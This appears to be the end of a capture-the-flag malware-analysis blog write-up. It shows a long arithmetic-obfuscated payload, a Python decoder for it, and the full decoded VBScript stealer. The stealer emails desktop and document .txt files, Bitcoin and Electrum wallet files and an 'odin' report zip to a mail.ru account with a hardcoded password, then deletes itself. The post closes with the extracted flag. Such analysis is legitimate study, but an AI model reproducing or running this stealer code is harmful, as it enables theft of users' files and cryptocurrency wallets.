0*-8254+8364*-7488+7591*9736-9621*3497-3457*-7346+7378*-8531+8565*-4895+4932*85765/1009*6903-6820*-4933+5002*-6881+6963*1428-1350*226850/3490*734657/9541*1617-1548*4797-4760*6397-6363*18784/587*135915/3315*-2779+2789*685248/8256*581760/5760*-1354+1470*89056/2783*-4712+4782*-2331+2439*724900/7249*1106-991*-2146+2207*2687-2582*345050/5150*8826-8715*-1987+2097*725628/7114*147108/3198*1649-1579*-547+652*6631-6530*274320/2540*970400/9704*-1441+1556*64672/2021*6073-6063*5263-5193*4986-4878*4939-4839*-3760+3875*-7640+7686*1879-1806*3768-3652*55651/551*670023/6147*-6805+6845*289986/8529*-1598+1702*1603-1487*10052-9936*-3111+3223*2654-2596*388972/8276*402508/8564*-8475+8590*-3847+3946*1678-1574*125038/1238*733679/6731*1835-1738*6087-5972*6625-6579*8258-8149*2870-2765*181170/1830*5560-5446*7017-6906*4753-4638*350649/3159*961962/9431*563760/4860*-4799+4845*-5393+5492*261405/2355*6200-6091*-422+469*7350-7251*39500/395*1085247/9777*7562-7515*2656-2557*-8372+8483*-259+369*-8470+8572*390810/3722*-5914+6017*8578-8461*565-451*-3431+3528*-5918+6034*9020-8915*-2797+2908*430980/3918*-4962+5009*4634-4519*-7972+8081*5294-5178*6282-6170*421705/3667*906778/8978*-4896+5010*4464-4346*3734-3633*362292/3178*173162/5093*132799/3239*-7445+7477*3308-3247*-1644+1676*1870-1836*-6961+7076*509139/4671*-2177+2293*9082-8970*1116-1070*790-681*6752-6655*3567-3462*999864/9258*-5486+5532*1957-1843*7323-7206*-4839+4873*-7090+7100*-5230+5300*9546-9438*182200/1822*8363-8248*162472/3532*102711/1407*-3830+3946*-5511+5612*4401-4292*8365-8325*-2984+3018*-4025+4129*1157796/9981*-6405+6521*6359-6247*514518/8871*7299-7252*-3973+4020*1004985/8739*-9122+9221*7418-7314*2329-2228*8698-8589*723038/7454*-6041+6156*8464-8418*110090/1010*676620/6444*259677/2623*4939-4825*7314-7203*-2920+3035*2398-2287*325278/3189*-7546+7662*-8450+8496*-7913+8012*465201/4191*869384/7976*296711/6313*8054-7955*-6789+6889*8670-8559*382110/8130*-5488+5587*488733/4403*-9865+9975*942480/9240*983220/9364*4601-4498*325962/2786*-5961+6075*-3430+3527*957464/8254*-2961+3066*1583-1472*259710/2361*13677/291*685400/5960*140828/1292*193952/1672*9806-9694*690575/6005*430260/4260*-5365+5479*4488-4370*125240/1240*2699-2585*-8379+8491*-9123+9234*2821-2707*9661-9545*166702/4903*-1431+1472*-5075+5107*-2982+3043*211008/6594*-196+248*479898/8887*-2711+2764*1675-1665*294770/4211*-2395+2503*-2341+2441*-9798+9913*-1998+2044*268640/3680*7651-7535*6623-6522*-3187+3296*-5139+5179*-1887+1921*-7198+7302*695-579*-1557+1673*9603-9491*-7983+8041*202946/4318*178741/3803*-2223+2338*724185/7315*-6306+6410*3144-3043*8456-8347*931-834*1404-1289*-9760+9806*3677-3568*4945-4840*-9870+9969*-2528+2642*4604-4493*-2175+2290*877788/7908*4530-4428*-6948+7064*156722/3407*103554/1046*-9394+9505*4998-4889*85681/1823*8429-8330*441900/4419*557331/5021*274762/5846*402534/4066*-1751+1862*564300/5130*-4152+4254*808815/7703*97129/943*7439-7322*222756/1954*821105/8465*389064/3354*-7347+7452*7727-7616*3965-3855*29704/632*3834-3719*-602+703*3827-3717*145000/1450*-3846+3963*252080/2192*6810-6705*380820/3462*-1086+1189*251226/7389*-4010+4051*157952/4936*5484-5452*-1306+1338*312032/9751*137860/2260*-7681+7713*22600/452*9733-9701*106528/3329*61750/6175*9975-9905*4673-4565*-8776+8876*-7117+7232*709-663*2054-1981*1337-1221*318150/3150*-9326+9435*-2594+2634*218756/6434*-1040+1144*604360/5210*-450+566*831600/7425*-6491+6549*9384-9337*2452-2405*5027-4912*6472-6373*325728/3132*-2617+2718*122625/1125*365981/3773*6169-6054*-1965+2011*575-466*-2930+3035*34254/346*1099872/9648*520-409*9875-9760*-6651+6762*-4827+4929*1139584/9824*3354-3308*5986-5887*770340/6940*-8447+8556*-3885+3932*5261-5162*746300/7463*-6156+6267*2190-2143*8049-7950*4945-4834*3223-3113*422484/4142*-4198+4303*1087-984*-4947+5064*119130/1045*183718/1894*-2518+2634*-2126+2231*-1548+1659*499950/4545*95034/2022*864225/7515*251790/2310*3865-3749*-2226+2338*45202/466*305955/2615*3618-3502*-2339+2443*460762/4562*8713-8603*-8009+8125*5025-4920*-1189+1288*-5212+5309*-5907+6023*2180-2079*-1712+1746*-3948+3989*174624/5457*-5741+5802*188704/5897*3503-3454*8149-8117*8492-8460*2202-2192*71330/1019*6206-6098*517900/5179*467360/4064*20424/444*-2036+2109*12760/110*106555/1055*295608/2712*175360/4384*-7335+7369*8558-8454*229448/1978*929276/8011*920304/8217*-6728+6786*5536-5489*-210+257*3494-3379*-3585+3684*3993-3889*840-739*-3510+3619*177510/1830*-9074+9189*4896-4850*6312-6203*6051-5946*-7385+7484*238488/2092*495-384*10103-9988*750582/6762*-1527+1629*-594+710*5914-5868*8326-8227*888111/8001*365-256*48081/1023*587763/5937*879200/8792*1057275/9525*161915/3445*604791/6109*-6577+6688*-2948+3058*958188/9394*4014-3909*26677/259*-2165+2282*-2494+2608*154618/1594*8320-8204*7168-7063*668442/6022*7934-7824*301364/6412*9119-9004*8508-8399*139548/1203*-7661+7773*-5746+5863*-3346+3461*1425-1324*265190/2306*-7284+7399*343008/3176*-2044+2078*-4778+4819*-7830+7862*7110-7078*-4540+4572*-4528+4560*-8627+8659*200192/6256*4283-4222*127680/3990*9787-9671*-441+555*-526+643*613777/6077*7589-7557*-9058+9068*5722-5652*241164/2233*-3926+4026*-254+369*97060/2110*7359-7286*-4069+4185*-8901+9002*1762-1653*-9941+9981*4121-4087*9384-9280*-6263+6379*4828-4712*3536-3424*4690-4632*187718/3994*-4150+4197*963010/8374*-233+332*719472/6918*-1054+1155*1650-1541*7458-7361*2735-2620*352084/7654*8114-8005*5215-5110*4058-3959*7805-7691*4652-4541*3175-3060*2724-2613*74562/731*5385-5269*1842-1796*-6868+6967*4184-4073*577373/5297*2934-2887*-7984+8083*277600/2776*8226-8115*297416/6328*30690/310*7008-6897*638880/5808*-8229+8331*673-568*-709+812*-8505+8622*331-217*723426/7458*340460/2935*-8017+8122*650793/5863*-2693+2803*327778/6974*7622-7507*442683/4383*12540/114*-7923+8023*-2140+2257*362710/3154*-3456+3557*-7716+7830*-655+765*379173/3909*-5167+5276*-6131+6232*7300-7266*6419-6378*8929-8897*317824/9932*-6196+6228*110688/3459*533750/8750*-7739+7771*331704/9756*8747-8649*4864-4755*572033/4807*31075/275*492450/4690*7878-7781*383152/6842*-3778+3830*-1914+1978*175599/1611*-5042+5139*-1755+1860*4830-4722*-896+942*146718/1287*8755-8638*-9736+9770*3069-3059*542570/7751*7702-7594*-4347+4447*498295/4333*296102/6437*33726/462*258216/2226*-795+896*596666/5474*-3326+3366*17714/521*495352/4763*4814-4698*1335-1219*2668-2556*-6197+6255*-3990+4037*-7893+7940*578565/5031*478863/4837*-1421+1525*-6380+6481*1157-1048*5696-5599*3447-3332*139978/3043*7897-7788*8411-8306*-614+713*9682-9568*-1124+1235*4226-4111*264291/2381*9309-9207*613292/5287*-684+730*7784-7685*561216/5056*495623/4547*120461/2563*489951/4949*-5401+5501*1284-1173*240029/5107*246411/2489*5051-4940*-3728+3838*964920/9460*-4797+4902*603374/5858*-3900+4017*-5347+5461*3133-3036*2682-2566*-768+873*1239-1128*7904-7794*69231/1473*-1403+1518*9188-9087*1000670/9097*8107-8007*813904/7267*1216-1119*6644-6529*1107565/9631*908208/7632*430569/3879*9900-9786*9974-9874*-9377+9411*9048-9007*-7445+7477*8829-8797*92352/2886*179424/5607*-4459+4520*4455-4423*184654/5431*3805-3723*-4785+4837*8174-8107*826-749*610200/6780*-3266+3317*-4649+4763*429570/4995*610060/5546*102795/1335*-978+1048*-6099+6215*7938-7816*-2690+2812*-8405+8459*-4072+4190*388082/3181*522422/6371*223755/2131*2926-2877*4647-4613*4128/129*-190+200*1526-1516*49900/4990*19940/1994*9282-9212*-9075+9183*-2825+2925*-4471+4586*281014/6109*-555+640*-9533+9645*-7967+8067*-858+955*-9669+9785*5178-5077*-6345+6377*9014-9004*-9604+9709*4391-4314*-7225+7340*764260/7420*-1716+1762*413256/6168*226995/2045*-9371+9481*2822-2720*5637-5532*-4257+4360*502164/4292*9154-9040*682977/7041*6561-6445*-9181+9286*-1140+1251*3661-3551*78812/1292*3954-3849*559785/8355*1096236/9876*9001-8891*-6193+6295*111776/3493*-6640+6650*5844-5739*406329/5277*-5471+5586*-6537+6640*228942/4977*46200/550*1101-990*-2021+2082*1015-900*46052/397*-3240+3354*-6321+6405*945609/8519*-1450+1482*55290/5529*8578-8568*8071-8061*525315/5003*732578/9514*366735/3189*-6787+6890*-8112+8158*-5870+5940*-6872+6986*-2432+2543*8316-8207*8397-8336*-3485+3600*670248/5778*686850/6025*432180/6174*9181-9067*960039/8649*5385-5276*-9823+9855*-7667+7677*1588-1483*-1011+1088*9201-9086*-8643+8746*2238-2192*46314/558*2046-1929*246470/2515*53106/501*-4454+4555*7410-7311*1008620/8695*583099/9559*342125/2975*2522-2406*812-698*5817-5734*-1967+2084*8118-8020*48018/453*234421/2321*2236-2137*-3468+3584*-1991+2023*27470/2747*-5949+5959*555555/5291*478478/6214*-6329+6444*6720-6617*-1326+1372*9642-9558*8213-8112*-9387+9507*147668/1273*7105-7039*-213+324*1884-1784*349811/2891*73627/1207*8898-8783*317724/2739*925224/8116*5964-5898*148074/1334*-4818+4918*2907-2786*-2719+2751*1068-1058*726499/8753*990204/9804*58464/504*-6861+6893*274176/2688*203796/1887*-3464+3564*-9218+9250*185257/3037*45632/1426*-9789+9859*269750/3250*490748/6212*6963-6917*7535-7464*776690/7690*769312/6632*1869-1799*264624/2384*320328/2966*1400-1300*753258/7458*-5473+5587*-9392+9432*9092-9009*-5330+5376*472602/5694*397488/3549*-9753+9854*9052-8953*785820/7484*-155+252*910224/8428*-5919+5989*1090686/9826*2425-2317*6336-6236*1813-1712*-2191+2305*9652-9537*9625-9585*-3729+3797*-4549+4650*985090/8566*-8777+8884*5375-5259*-6471+6582*-8453+8565*294503/7183*-4769+4810*-2258+2268*215040/3072*-6029+6140*5620-5506*-3090+3122*-9147+9248*-264+361*887238/8962*281320/2705*51744/1617*4575-4473*-4156+4261*9331-9223*951-850*-1848+1880*1910-1805*-9310+9420*-216+248*-2789+2891*536004/4963*3133-3033*-9428+9474*890358/8729*-4565+4670*609876/5647*205636/2036*-2583+2698*4720-4710*133888/4184*276512/8641*-6207+6239*253472/7921*574455/5471*-2700+2802*7355-7323*10029-9953*6362-6295*753205/7765*1059-944*-7168+7269*87480/2187*435680/6224*-8004+8087*642507/8133*199916/4346*3756-3685*-9766+9867*-9135+9251*8993-8924*-3176+3296*-8575+8691*291183/2883*7747-7637*7180-7065*8191-8086*-818+929*8775-8665*393588/5046*-3295+3392*867422/7958*375619/3719*6420-6380*162894/1597*206-101*-304+412*618120/6120*350345/8545*810-769*4740-4708*123281/2021*622-590*1605-1571*8091-7975*-4838+4958*548912/4732*253368/7452*16608/519*-1605+1689*383552/3688*417130/4130*53790/489*99290/9929*-9918+9950*-9227+9259*168000/5250*4322-4290*2527-2495*7500-7468*3790-3758*99424/3107*388395/3699*-7248+7325*1041095/9053*1007134/9778*6547-6501*-5928+5993*797-697*119800/1198*282685/4349*-9111+9227*-9411+9527*3902-3805*920-821*7394-7290*832869/7641*754470/7470*1048630/9533*271788/2343*8755-8723*628932/6166*-8609+8714*1572-1464*743158/7358*438334/9529*231168/2064*3693-3596*728596/6281*-2682+2786*-9926+9936*-9748+9757*-272+282*300576/9393*30240/945*290656/9083*119872/3746*5377-5308*4393-4283*460800/4608*286368/8949*-8409+8514*425136/4168*-5925+5935*2237-2159*-3814+3915*-972+1092*675236/5821*-3495+3505*1203-1193*-149+159*7720/772*42720/4272*25000/2500*49710/4971*2677-2667*8137-8067*1386-1278*-8687+8787*2967-2852*86526/1881*325-240*-7839+7951*653500/6535*252103/2599*-3329+3445*780528/7728*70240/2195*3535-3525*-7454+7559*-8043+8120*7121-7006*441973/4291*282210/6135*326357/4871*191031/1721*63910/581*-9597+9699*8957-8852*-9229+9332*-8567+8684*673626/5909*8054-7957*854688/7368*-174+279*7668-7557*186670/1697*9072-9011*723-618*-5322+5389*9839-9728*85250/775*5201-5099*129536/4048*7700-7690*-3280+3385*-1050+1127*883660/7684*3005-2902*-614+660*724-640*747585/6735*-1825+1886*601-486*154976/1336*295944/2596*-7415+7499*-296+407*7019-6987*-1505+1515*-7386+7396*-5577+5682*-6894+6971*1129875/9825*1979-1876*300978/6543*1159-1089*-1196+1310*-6063+6174*4369-4260*548878/8998*5217-5102*6188-6072*-6988+7102*-3098+3168*-5136+5250*-4484+4595*-2995+3104*304768/9524*-2425+2435*47775/455*303303/3939*245-130*117729/1143*120888/2628*-3451+3534*4358-4241*58310/595*221010/2085*933240/9240*-4930+5029*135256/1166*268217/4397*685-570*5034-4918*-4379+4493*2023-1940*117000/1000*3630-3532*6056-5950*9975-9874*-3624+3723*4562-4446*7735-7703*76690/7669*546525/5205*4010-3933*2504-2389*3246-3143*7076-7030*-6562+6646*4550-4449*471240/3927*9673-9557*1588-1522*95127/857*-6941+7041*470327/3887*295850/4850*36225/315*8971-8855*-8424+8538*464640/7040*3464-3353*185100/1851*-2651+2772*46016/1438*-3547+3557*4513-4503*-9514+9597*5023-4922*640900/5525*5138-5106*603738/5919*1030428/9541*-4290+4390*-5461+5493*90524/1484*829-797*414190/5917*-5686+5769*275078/3482*292652/6362*-4110+4181*410868/4068*221212/1907*67480/964*-3242+3353*-7083+7191*6812-6712*960611/9511*323076/2834*248960/6224*4167-4084*107042/2327*6174-6091*1212-1100*707606/7006*-1084+1183*4976-4871*358415/3695*637740/5905*190470/2721*-1543+1654*-1862+1970*-3759+3859*5582-5481*342456/3004*-5943+6058*-5510+5550*-7169+7246*3483-3362*650488/9566*10043-9932*96129/971*-2968+3085*9843-9734*868903/8603*-6078+6188*-2601+2717*-934+1049*101270/2470*-9207+9248*6470/647*111720/1596*-9503+9614*8631-8517*174016/5438*-7741+7842*-1537+1634*75141/759*-8864+8968*7224-7192*1864-1762*706335/6727*996408/9226*68781/681*-4139+4171*-7076+7181*362230/3293*798-766*62424/612*917460/8495*1563-1463*-586+632*25194/247*-2393+2498*9667-9559*662257/6557*-7712+7827*66670/6667*188192/5881*-3989+4021*-2632+2664*17088/534*-5111+5216*7033-6931*-4333+4365*-2608+2684*101103/1509*779201/8033*-5186+5301*-4177+4278*218960/5474*321580/4594*228914/2758*75287/953*5750-5704*269729/3799*817393/8093*307052/2647*1608-1539*1198920/9991*746112/6432*475811/4711*-3264+3374*133055/1157*121695/1159*80253/723*-1313+1423*726648/9316*-164+261*1000184/9176*980306/9706*-7436+7476*7009-6907*-2940+3045*2112-2004*969-868*83148/2028*7489-7448*7233-7201*-3901+3962*5825-5793*1016-982*-5260+5376*2840-2720*7057-6941*33252/978*5895-5863*-7377+7461*408304/3926*3085-2984*95150/865*15310/1531*237216/7413*199168/6224*262976/8218*42368/1324*-3165+3197*194112/6066*135872/4246*-3628+3660*1781-1676*6531-6454*435965/3791*6709-6606*2855-2809*5445-5380*9213-9113*1875-1775*455845/7013*4494-4378*892620/7695*2937-2840*1663-1564*-1178+1282*277-168*8021-7920*-9775+9885*-8153+8269*-1235+1267*-4807+4909*344505/3281*762156/7057*737502/7302*212796/4626*959952/8571*1289-1192*203812/1757*27040/260*-4351+4361*1190-1181*-727+737*-9461+9493*1074-1042*172736/5398*-2363+2395*-5745+5814*-6194+6304*8164-8064*-9730+9762*199710/1902*661980/6490*75970/7597*8434-8356*4926-4825*9359-9239*-8777+8893*6327-6317*103740/988*-5020+5097*-8759+8874*12154/118*-8541+8587*-3330+3395*593200/5932*-5350+5450*2882-2817*7215-7099*-4273+4389*-7068+7165*9653-9554*7817-7713*872327/8003*885770/8770*3196-3086*-1464+1580*-3852+3884*-4662+4696*3410-3343*253866/4377*-6947+7039*9904-9819*-8805+8920*8993-8892*1075134/9431*811095/7053*-4152+4244*333234/9801*43328/1354*8436-8398*1879-1847*467705/4067*168432/1452*-273+387*4309-4224*-5712+5827*799920/7920*-7286+7400*4906-4828*-4459+4556*-5105+5214*-259+360*135968/4249*78014/2053*6954-6922*-113+147*-3438+3530*-179+244*9495-9383*174384/1557*5900-5832*410892/4236*9635-9519*-2614+2711*8039-7947*488680/6430*-7377+7488*943668/9532*-3692+3789*8701-8593*813924/8847*5018-4907*4281-4181*-7773+7878*7365-7255*220064/2392*-6479+6590*-5066+5166*-9829+9934*5029-4919*-4921+5035*1568-1467*-9208+9320*192696/1736*-5773+5887*523392/4512*7797-7751*-2309+2431*1287-1182*-5454+5566*928-894*-8093+8103*-4668+4773*444059/5767*88320/768*396-293*-3084+3130*-1038+1103*6066-5966*300200/3002*-970+1035*856776/7386*-2832+2948*438440/4520*5417-5318*-8435+8539*-4772+4881*682760/6760*-7527+7637*1087384/9374*-8470+8502*157862/4643*1277-1212*-4163+4221*188692/2051*1823-1738*1869-1754*-1411+1512*5012-4898*-7083+7198*-5155+5247*235586/6929*-6662+6694*3751-3713*-2175+2207*-4217+4332*2681-2565*708510/6215*-6055+6140*2065-1950*2006-1905*4564-4450*6982-6904*180614/1862*1407-1298*9041-8940*246976/7718*8106-8068*-2269+2301*202776/5964*882096/9588*10855/167*6256-6144*8971-8859*8064-7996*26869/277*-9849+9965*827992/8536*-3688+3780*-9237+9313*2421-2310*-8325+8424*618278/6374*-982+1090*-4424+4516*1027860/9260*4753-4653*671895/6399*431750/3925*575644/6257*9534-9423*493400/4934*1743-1638*-9006+9116*183540/1610*995153/9853*2654-2542*228660/2060*9820-9706*917792/7912*-9046+9092*-7454+7576*832020/7924*-1537+1649*7691-7657*5204-5194*3741-3636*-4441+4518*-9252+9367*7615-7512*6959-6913*510835/7859*351200/3512*-5573+5673*-1425+1490*45820/395*589-473*479471/4943*-7174+7273*395928/3807*34335/315*78174/774*-6307+6417*131776/1136*1615-1583*66844/1966*-6198+6264*-6334+6392*-6898+6990*786420/9252*9990-9875*714171/7071*-9011+9125*-1109+1224*6651-6559*6648-6614*5112-5080*362748/9546*-1271+1303*-4318+4433*929972/8017*1906-1792*517480/6088*-3890+4005*556409/5509*832428/7302*124800/1600*247253/2549*647787/5943*398243/3943*195872/6121*3984-3946*4956-4924*-6388+6422*-4733+4825*523185/8049*587440/5245*193648/1729*-7312+7380*438731/4523*410988/3543*-2965+3062*824596/8963*-6643+6719*2960-2849*-4728+4827*7681-7584*-7197+7305*-2471+2563*6958-6847*-593+693*-39+144*537790/4889*17020/185*36519/329*-7189+7289*931665/8873*-7248+7358*9013-8899*-7595+7696*397152/3546*-5882+5993*7728-7614*1020452/8797*-4845+4891*-7532+7654*3369-3264*-4572+4684*311202/9153*-3565+3575*1025325/9765*-3536+3613*5977-5862*-2920+3023*442934/9629*6907-6842*153100/1531*-8662+8762*75660/1164*9114-8998*450196/3881*-8389+8486*-8357+8456*2757-2653*236530/2170*121402/1202*-2528+2638*230608/1988*-6468+6500*55488/1632*-5636+5704*-7693+7751*-3748+3840*275910/3246*9002-8887*220887/2187*7609-7495*5450-5335*22540/245*4167-4133*-2319+2351*-4913+4951*41888/1309*6132-6017*862692/7437*97584/856*-7036+7121*-165+280*4317-4216*9853-9739*3165-3087*9460-9363*1967-1858*1971-1870*-9821+9853*-731+769*310-278*260100/7650*9149-9057*316225/4865*803824/7177*887152/7921*-901+969*107573/1109*86884/749*8651-8554*8501-8409*6706-6630*6433-6322*390555/3945*5810-5713*4162-4054*-1967+2059*1051725/9475*653700/6537*308-203*763510/6941*3556-3464*576312/5192*905500/9055*-6307+6412*952490/8659*665760/5840*997678/9878*-8980+9092*-3645+3756*7518-7404*3835-3719*291318/6333*-4226+4348*991200/9440*261296/2333*1768-1734*9002-8992*431655/4111*-3533+3610*-4070+4185*5303-5200*230414/5009*-4638+4703*-1871+1971*544700/5447*9765-9700*-5390+5506*-8226+8342*222227/2291*8208-8109*-4446+4550*8109-8000*5536-5435*255420/2322*2899-2783*8627-8595*27506/809*6130-6063*248182/4279*817052/8881*229-144*-8947+9062*688012/6812*817152/7168*981065/8531*849620/9235*196316/5774*27808/869*-3958+3996*60256/1883*7442-7327*121684/1049*502284/4406*793390/9334*-5531+5646*-2111+2212*614802/5393*4013-3935*-9320+9417*1014899/9311*6851-6750*251680/7865*-7710+7748*8283-8251*-7814+7848*-3575+3667*120315/1851*-1558+1670*-5154+5266*6372-6304*4909-4812*763396/6581*8700-8603*8485-8393*4779-4697*964590/8690*4356-4259*369510/3390*-9809+9914*-1525+1635*-9541+9644*133952/1456*-7503+7569*151095/1439*5249-5133*-2331+2430*824508/7428*-1644+1749*303380/2758*4615-4523*-7270+7389*-6492+6589*965628/8941*518724/4803*-5457+5558*-1333+1449*-8773+8819*-9847+9947*1214-1117*-2694+2810*6286-6252*-6111+6121*540855/5151*9808-9731*2233-2118*-2649+2752*134458/2923*386815/5951*-8893+8993*944800/9448*266175/4095*2059-1943*7522-7406*2283-2186*94446/954*9404-9300*-5548+5657*-1651+1752*-4195+4305*2909-2793*169536/5298*-7616+7650*8017-7950*-6255+6313*9486-9394*386070/4542*-7451+7566*779922/7722*9677-9563*389505/3387*-6200+6292*-8178+8212*51392/1606*328624/8648*5048-5016*-1241+1356*-785+901*1010610/8865*-6808+6893*9248-9133*9902-9801*930126/8159*3696-3618*-2332+2429*-3235+3344*-1652+1753*1599-1567*79344/2088*-1113+1145*-6125+6159*5755-5663*4512-4447*409808/3659*846272/7556*-158+226*764457/7881*98948/853*-5215+5312*6171-6079*2397-2315*1088355/9805*-5304+5401*-2078+2187*64365/613*5301-5191*8074-7971*59064/642*147522/2138*1409-1301*9335-9234*374814/3786*4344-4228*5854-5740*2838-2721*-4566+4675*563040/6120*8428-8309*826828/8524*-6258+6366*-1624+1732*3979-3878*-4184+4300*2047-1932*-5648+5740*8190-8090*820322/8122*4850-4748*-6814+6911*3196-3079*-676+784*-8483+8599*500555/5269*-5567+5686*7448-7351*-9488+9596*-2319+2427*8614-8513*875568/7548*8759-8725*94110/9411*4020-3915*-1870+1947*5059-4944*-3964+4067*445648/9688*307847/3709*297445/2945*8544-8434*370300/3703*78830/7883*4949-4939*87930/8793*-4282+4292*557760/6720*972933/9633*6306-6190*3174-3142*-3321+3430*668430/9549*-1832+1915*7360-7281*6648-6616*518012/8492*5290-5258*8085-8018*-558+672*-1896+1997*-4519+4616*-5924+6040*539-438*-5251+5330*475594/4853*-3759+3865*937-836*194139/1961*647512/5582*-4260+4300*5363-5329*7619-7536*556380/5620*361494/3171*-2638+2743*7771-7659*-1302+1418*754530/7186*18700/170*6977-6874*-6256+6302*169330/2419*448035/4267*280152/2594*67569/669*262363/3161*1129172/9332*9561-9446*369808/3188*3666-3565*780876/7164*-2894+2973*4633-4535*883192/8332*-9212+9313*-6690+6789*6703-6587*2591-2557*-9564+9605*2434-2424*-8734+8744*-391+458*-3764+3861*999540/9255*9542-9434*6111-6079*9717-9608*8366-8296*414917/4999*-3749+3828*136022/2957*188972/2779*743158/7358*7297-7189*110898/1098*-5193+5309*672761/6661*-7908+7978*682605/6501*-1173+1281*6223-6122*8607-8567*6991-6904*1656-1573*-118+217*7148-7034*-857+962*-4816+4928*-8297+8413*-6621+6667*-3618+3701*7964-7865*160056/1404*-2953+3058*4898-4786*534412/4607*-6243+6313*-8490+8607*171828/1591*1350-1242*87360/1120*-9362+9459*-8716+8825*2299-2198*-5581+5625*7758-7726*-2470+2554*-6374+6488*-1107+1224*-5495+5596*2065-2024"
k = l.split(chr(eval("75684//1802")))
h = [chr(int(eval(i))) for i in k ]
print("".join(h))Once we execute it we get valid vb.net code:
on error resume next
Const Desktop = 4
Const MyDocuments = 16
Set S = CreateObject("Wscript.Shell")
Set FSO = CreateObject("scripting.filesystemobject")
WScript.Sleep(1000 * 30)
strSMTP_Server = "smtp.mail.ru"
strTo = "bmwqia84@mail.ru"
strFrom = "bmwqia84@mail.ru"
strSubject = "AIRDROP"
strBody = "LOG"
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set wshShell = CreateObject( "WScript.Shell" )
strUserName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" )
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = true
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "bmwqia84@mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "R4CMZ3rVnMFtzz6vzRi1"
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
Set fld = FSO.GetFolder(S.SpecialFolders(Desktop))
For each file in fld.files
if LCase(FSO.GetExtensionName(file)) = "txt" Then
iMsg.AddAttachment file.path
End if
Next
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
Set fld = FSO.GetFolder(S.SpecialFolders(MyDocuments))
For each file in fld.files
if LCase(FSO.GetExtensionName(file)) = "txt" Then
iMsg.AddAttachment file.path
End if
Next
iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"
iMsg.AddAttachment "A:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"
iMsg.AddAttachment "B:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"
iMsg.AddAttachment "D:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"
iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Roaming\Bitcoin\wallet.dat"
iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Roaming\Electrum\wallets\default_wallet"
iMsg.Send
Set mFSO = CreateObject("Scripting.FileSystemObject")
Call mFSO.DeleteFile(WScript.ScriptFullName, True)To satisfy the flag criteria we need the senders email and the last file name which we can get from the above code!
Hero{bmwqia84@mail.ru|default_wallet} — this was the flag
Thank you for reading up to here, follow my blog for more related content :)
